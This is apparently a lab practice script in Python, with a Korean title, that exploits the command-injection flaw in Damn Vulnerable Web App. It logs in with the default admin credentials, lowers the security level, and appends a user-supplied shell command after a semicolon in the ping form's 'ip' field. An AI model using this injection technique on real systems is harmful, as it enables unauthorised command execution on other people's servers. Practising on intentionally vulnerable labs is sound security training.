requests 모듈을 통한 DVWA Low Command injection

import os 
 
import requests 
from bs4 import BeautifulSoup 
import re 
import sys 
 
#login 
login_url = 'http://192.168.10.134/dvwa/login.php' 
login_data = {'username':'admin', 'password':'password', 'Login':'Login'} 
proxies = {'http':'http://localhost:9000', 'https':'http://localhost:9000'} 
s = requests.session() 
req = requests.Request('POST', login_url, data=login_data) 
prepared = s.prepare_request(req) 
resp = s.send(prepared, proxies = proxies) 
 
soup = BeautifulSoup(resp.text,'lxml') 
MESS1='Welcome to Damn Vulnerable Web App!' 
if re.search(MESS1, str(soup.h1.string)): 
    print('[ ok ] login') 
else: 
    print("[ fail ] login") 
    sys.exit(2) 
 
#low level setting 
security_url='http://192.168.10.134/dvwa/security.php' 
security_data={'security':'low','seclev_submit':'Submit'} 
resp=s.post(security_url,data=security_data, proxies=proxies) 
soup=BeautifulSoup(resp.text,'lxml') 
if re.search('low', str(soup.em.string)): 
    print('[ ok ] low setting') 
else: 
    print('[ fail] low not setting') 
    sys.exit(3) 
 
#vulnerablility check && Attack Code 
url = 'http://192.168.10.134/dvwa/vulnerabilities/exec/' 
cmd=input('Enter your CMD : ') 
data = {'ip':'192.168.10.134;'+cmd,'submit':'submit'} 
resp=s.post(url,data,proxies=proxies) 
soup=BeautifulSoup(resp.text,'lxml') 
if re.search('index.php', str(soup.pre)): 
    print("[ ok ] commend injection vulnerablility") 
else: 
    print("[ fail ] commend injection not vulnerablility") 
    sys.exit(4) 
 
fd=open('command.txt', 'w+') 
fd.write(soup.pre.string) 
fd.close() 
os.system('cat command.txt')